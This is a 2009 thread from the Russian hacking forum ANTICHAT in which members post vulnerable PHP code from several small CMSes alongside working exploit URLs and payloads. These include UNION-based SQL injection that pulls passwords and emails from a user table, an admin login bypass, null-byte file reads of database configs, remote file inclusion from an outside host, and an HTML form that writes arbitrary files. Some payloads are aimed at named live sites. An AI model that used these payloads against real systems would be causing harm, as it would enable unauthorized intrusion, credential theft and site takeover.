HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 21.08.2009, 22:59
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
С нами: 9030566

Репутация: 2017


По умолчанию

KESoft: CMS Кеша

1.SQL - inj

PHP код:
#получаем список блоков
        
$z="select blocks.def_ps, blocks.fname, bpp.psev from blocks, bpp where (bpp.page_id=$pg)and(bpp.block_id=blocks.id)";
        
$result=mysql_query($z,$connect); 
2. Доступ в админку


PHP код:

$z
="select id,status from users where (login='".$_POST["u_login"]."')and(pass=PASSWORD('".$_POST["u_pass"]."'))";
                
$result=mysql_query($z,$connect); 
при MQ=off
их офф сайт _http://www.kesoft.ru/index.php?pg=20'

Ну я как бы просто показал
Result:
http://www.kesoft.ru./index.php?pg=20+and+substring(version(),1,1)=5#

Чтение файлов

http://site.ru/RU(или ru)/blocks/Templ_lst.php?l=../../db.php%00

файл:UserPar.php
pg_param.php

http://www.сайт.ru/ru/blocks/UserPar.php?l=../
http://www.kesoft.ru/ru/blocks/UserPar.php?l=Http://mail.ru/%00 (читаем mail.ru )

Инклуд удаленный Даже файл админа в инклуде
http://www.kesoft.ru/admin.php?l='%00

условия в посте Grey'a
P.S. Там что не файл, то уязвимость) PSS угу

Последний раз редактировалось HAXTA4OK; 22.08.2009 в 10:43..
 
Ответить с цитированием

  #2  
Старый 21.08.2009, 23:23
Grey
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
С нами: 10483586

Репутация: 5826


По умолчанию

Цитата:
Сообщение от HAXTA4OK  
KESoft: CMS Кеша
Зачетная cms:

Чтение файлов:
Файл: blocks/auth.php
PHP код:
<?php
  $bdata
=file($l."blocks/Auth.dat");
  
$bdata=str_replace("@u_login@",$u,$bdata);
  
$bdata=str_replace("@u_pass@","",$bdata);
  for (
$ii=0$ii<count($bdata); $ii++) {
    echo 
$bdata[$ii];
Юзаем так: http://site.ru/RU(или ru)/blocks/auth.php?l=../../db.php%00

Создание произвольного файла:
Файл: RU(или ru)/blocks/BlockPar.php
PHP код:
if (count($_POST)>0) {
.....................
            if (
$_POST["Submit"]=="Сохранить изменения текста") {
            
$z="select fname from blocks where id=$par";
            
$tmpr=mysql_query($z,$connect);
            
$fp fopen ($l.mysql_result($tmpr,0,"fname"),"w");
            
fputs($fp,$_POST["BlockData"]);
            
fclose($fp);
            
$m="Содержимое файла блока <font color=green>заменено</font>";
            }; 
Юзаем так:

Код:
<html>
<head><title>pLoEnT na HTML!!!</title></head>
<body>
<form action="http://site.ru/RU(или ru)/blocks/BlockPar.php?l=../../file.php%00" method="post">
<textarea name="BlockData" cols="80" rows="10"></textarea>
<input type="submit" name="Submit" value="Сохранить изменения текста">
</form>
</body>
</html>
Ой, а там файлов больше чем я думал, продолжим:

Удалённый инклуд:
Файл: RU(или ru)/blocks/reg.php
PHP код:
<?php
  
include $l."blocks\\UserPar.php";
?>
Юзаем так: http://site.ru/RU(или ru)/blocks/reg.php?l=http://heck.ru/file.php?

Даже листинг дир в комплект входит:
Юзаем так: http://site.ru/RU(или ru)/blocks/moduls.php?l=../../%00 (правда вывод кривой, но это мелочи)

Нужно: mq=off, rg=on, ну а для удалённого инклуда ещё и allow_url_include=он

P.S. Там что не файл, то уязвимость)

Последний раз редактировалось Grey; 21.08.2009 в 23:40..
 
Ответить с цитированием

  #3  
Старый 23.08.2009, 00:16
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами: 9410786

Репутация: 2731


По умолчанию

Продукт: CMS Mini
Версия: <= 0.2.2
Оффсайт: cmsmini.it
Скачать: http://sourceforge.net/projects/cmsmini/


Уязвимость №1:
Проникновение в админ-панель.

Уязвимость существует из-за недостаточной фильтрации данных.

Уязвимый код:
Код:
/admin/check.php
PHP код:
if ($_SESSION != 1header('location: login.php'); 
Если параметр cmsmini_login отличен от еденици, сервер отправляет заголовок Location: login.php. Но выполнения скрипта не останавливается. Это всего лишь браузер воспринимает заголовк как редирект.

Эксплуатация:
Для эксплуатации уязвимости необходимо использовать сниффер отправленых пакетов. После открытия страницы /admin/index.php, сниффер получит заголовки вида:
Код:
HTTP/1.1 302 Found
Date: Sat, 22 Aug 2009 19:16:45 GMT
Server: Apache/2.2.11 (Win32) PHP/5.2.9-2
X-Powered-By: PHP/5.2.9-2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
location: login.php
Transfer-Encoding: chunked
Content-Type: text/html
Кроме них в сниффере можно увидеть тело админки. Неудобная, но все же уязвимость.

Уязвимость №2:
Заливка файла произвольного расширения.

Уязвимость существует из-за отсутствия фильтрации/проверки расширения файла.

Уязвимый код:
Код:
/admin/index.php
PHP код:
    case 'newimage':
      
$imagefile $_FILES['imagefile'];
      if( 
is_uploaded_file($imagefile['tmp_name']) ) new_image($imagefile$dirpath);
      else die(
'image upload failed...');
      break; 
Код:
/admin/functions.php
PHP код:
function new_image($imagefile$dirpath){
  
$name $imagefile['name'];
  
$filename $dirpath.'/'.$name;
  
$dirlist $dirpath.'/dir.list';
  
$new_row $name.'|'.$name.'|0|';
  
move_uploaded_file($imagefile['tmp_name'], $filename);
  
in_dirlist($dirlist$new_row);
  } 
Эксплуатация:
Залить любой файл в поле Image.


Уязвимость №3:
Читалка файлов.

Уязвимость существует из-за отсутствия фильтрации входящих данных в параметре path.

Уязвимый код:
Код:
/admin/index.php
PHP код:
$subpath $_GET['path'];
if( 
$subpath )
  
$dirpath '../pages/'.$subpath;
...
$dirlist $dirpath.'/dir.list';
...
$rows file($dirlist);
...
$n count($rows);
...
for( 
$i=0$i<$n$i++ ){
//тут много echo с выводом файла 
Эксплуатация:
Код:
/admin/index.php?path=../admin/config.php%00
Уязвимость №4:
Активная XSS.

Уязвимость существует из-за отсутствия фильтрации входящих данных.

Уязвимый код:
Код:
/admin/index.php
PHP код:
echo $title.'</span>'
Эксплуатация:
HTML-код в поле Page/Folder -> create new page / create new folder.

Уязвимость №5:
"Листинг" директорий.

Уязвимость существует из-за отсутствия запрета на чтение файла со списком файлов/директрий.

Код:
/folder/dir.list
© mailbrush

Это не все дырки этой CMS...
 
Ответить с цитированием

  #4  
Старый 24.08.2009, 11:15
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
С нами: 9030566

Репутация: 2017


По умолчанию

Цитата:
Сообщение от mailbrush  
Продукт: CMS Mini
Версия: <= 0.2.2
Оффсайт: cmsmini.it
Скачать: http://sourceforge.net/projects/cmsmini/
1. Читалка файлов

admin/edit.php

PHP код:
$filename $dirpath.'/'.$name;
$fh fopen($filename'r'); 
Эксплуатация
cmsmini-0.2.2./admin/edit.php?path=&name=../COPYING

При register_globals On

2. Пассивная XSS

cmsmini-0.2.2./admin/index.php?path=%3E%3Cscript%3Ealert(/Hi/)%3C/script%3E

3. Создание произвольного файла

cmsmini-0.2.2./admin/reorder.php?path=../reorder1.php%00

Последний раз редактировалось HAXTA4OK; 24.08.2009 в 11:39..
 
Ответить с цитированием

  #5  
Старый 08.11.2009, 15:47
Ins3t
Участник форума
Регистрация: 18.07.2009
Сообщений: 272
С нами: 8850336

Репутация: 330
По умолчанию

Doop CMS 1.3.7 LFI

Оффсайт: http://doop.infoauxis.com/
Для загразки почему то доступна только эта версия, предыдущих я не нашел.

Сама CMS достаточно проста, имеет всего навсего один скрипт.

Уязвимый код:

Код:
if (!isset($_REQUEST['page'])){
	$_REQUEST['page']=$homepage; 
	$cpage=$_REQUEST['page'];
} else { $cpage=$_REQUEST['page']; }
...
if ($admin == FALSE && !isset($_SESSION['name']) || isset($_REQUEST['preview'])){
	if (file_exists("pages/".$cpage.".htm")){
		include("pages/".$cpage.".htm");
	}
	else include("pages/".$cpage.".html");
}
Разработчики хоть и попытались "защититься" с помощю file_exists() и указанием папки, но совершенно забыли о фильтрации передаваемых значений.

Эксплатация:
Код:
http://localhost/cmss/index.php?page=../../../../file%00
 
Ответить с цитированием

  #6  
Старый 26.08.2009, 13:52
[underwater]
Познающий
Регистрация: 29.03.2009
Сообщений: 87
С нами: 9010027

Репутация: 308
По умолчанию

Linkspile

SQL Inj:
Код:
http://www.site.ru/link.php?cat_id=-1/**/union/**/select/**/1,2,3,4,5,6,concat(fname,0x3a,0x3a,0x3a,password,0x3a,0x3a,0x3a,email),8,9,10,11,12,13,14,15,16,17,18/**/from/**/lp_user_tb/*
POC:
Код:
http://www.linkspile.com/linking.page.php?cat_id=-1/**/union/**/select/**/1,2,3,4,5,6,concat(fname,0x3a,0x3a,0x3a,password,0x3a,0x3a,0x3a,email),8,9,10,11,12,13,14,15,16,17,18/**/from/**/lp_user_tb/*
 
Ответить с цитированием

  #7  
Старый 27.08.2009, 00:15
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
С нами: 9030566

Репутация: 2017


По умолчанию

Цитата:
Сообщение от [underwater]  
Linkspile

SQL Inj:
Код:
http://www.site.ru/link.php?cat_id=-1/**/union/**/select/**/1,2,3,4,5,6,concat(fname,0x3a,0x3a,0x3a,password,0x3a,0x3a,0x3a,email),8,9,10,11,12,13,14,15,16,17,18/**/from/**/lp_user_tb/*
POC:
Код:
http://www.linkspile.com/linking.page.php?cat_id=-1/**/union/**/select/**/1,2,3,4,5,6,concat(fname,0x3a,0x3a,0x3a,password,0x3a,0x3a,0x3a,email),8,9,10,11,12,13,14,15,16,17,18/**/from/**/lp_user_tb/*
http://www.linkspile.com/user.link.page.php?siteid=-2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,concat_w s(0x3a,user(),database(),version()),14,15,16,17,18--&lng=PHP

ЗЫ.как бэ добавлю, но вроде все это постить не сюда бы)))так как сорцов нету на руках)))и код выложить не можем
 
Ответить с цитированием

  #8  
Старый 14.10.2009, 10:09
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
С нами: 9030566

Репутация: 2017


По умолчанию

TGS Content Management
Только нужна рега, а где там регаться я не нашел (

SQL
Файл Message.php
MQ=off
PHP код:
$id $_GET['id']; 
        
$query "SELECT * FROM $table_messanger WHERE messanger_id = '".$id."' "
думаю что во всех версиях, в последней есть она

Файл user.php
PHP код:
$userid $_GET['id'];
            
$user_table $prefix."backend_user";
            
$usermanager_query "SELECT * FROM $user_table WHERE user_id = '".$userid."' "
Файл gallery.php
PHP код:
switch($_GET['option'])
{
    case 
"delete":
        
        if (!isset(
$_GET['iID']))
        {    
// delete gallery and all images
            
$query "SELECT * FROM `".$table_images."` WHERE `gallery_id` = '".$_GET['gID']."' "

Последний раз редактировалось HAXTA4OK; 14.10.2009 в 10:28..
 
Ответить с цитированием

  #9  
Старый 14.10.2009, 22:14
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
С нами: 9030566

Репутация: 2017


По умолчанию

OneCMS тока я чет не нашел их(((

вход в админку

PHP код:
if ($_GET['load'] == "login") {
$admin_page "yes";
if (
$_GET['login'] == "yes") {
$usernameb check(stripcslashes($_POST['username']));
$passwordc check($_POST['password']); 
$passwordb md5($passwordc);

$sql mysql_query("SELECT * FROM ".$pre."users WHERE username = '".$usernameb."' AND password = '".$passwordb."' LIMIT 1");
$login_check mysql_num_rows($sql); 
login :' or 1=1/*
pass :любой
 
Ответить с цитированием

  #10  
Старый 15.10.2009, 15:09
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
С нами: 9030566

Репутация: 2017


По умолчанию

MycroCMS
Blind SQL


exploit:
Код:
?cat_id=2'+and+substring(version(),1,1)=5+--+
_http://www.makesense.ch/mycrocms/?cat_id=2'+and+substring(version(),1,1)=5+--+

PS дыру с entry_id залотали
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Библиотека SladerNon Болталка 17 05.02.2007 23:30



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.